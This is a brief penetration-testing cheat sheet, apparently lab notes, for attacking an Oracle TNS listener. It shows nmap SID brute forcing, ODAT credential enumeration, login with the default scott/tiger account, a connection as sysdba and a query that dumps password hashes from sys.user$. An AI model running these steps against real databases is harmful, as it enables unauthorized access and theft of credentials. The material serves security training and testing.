TNS Oracle (1521)

The Oracle Transparent Network Substrate (TNS) server is a communication protocol that facilitates communication between Oracle databases and applications across networks
terminal
$ sudo nmap -p1521 -sV 10.129.204.235 --open

Nmap - SID Brute Forcing

terminal
$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
txt
PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute: 
|_  XE

Basic Enumeration Command (Users / Passwords)

terminal
$ ./odat.py all -s 10.129.204.235

Log In with SQLPlus

terminal
sqlplus scott/tiger@10.129.204.235/XE
XE : This is the identifier (it can be obtained with Nmap or odat)
scott/tiger : Username/Password

Connect as Admin

terminal
sqlplus scott/tiger@10.129.204.235/XE as sysdba

Obtain Hashes

sql
select name, password from sys.user$;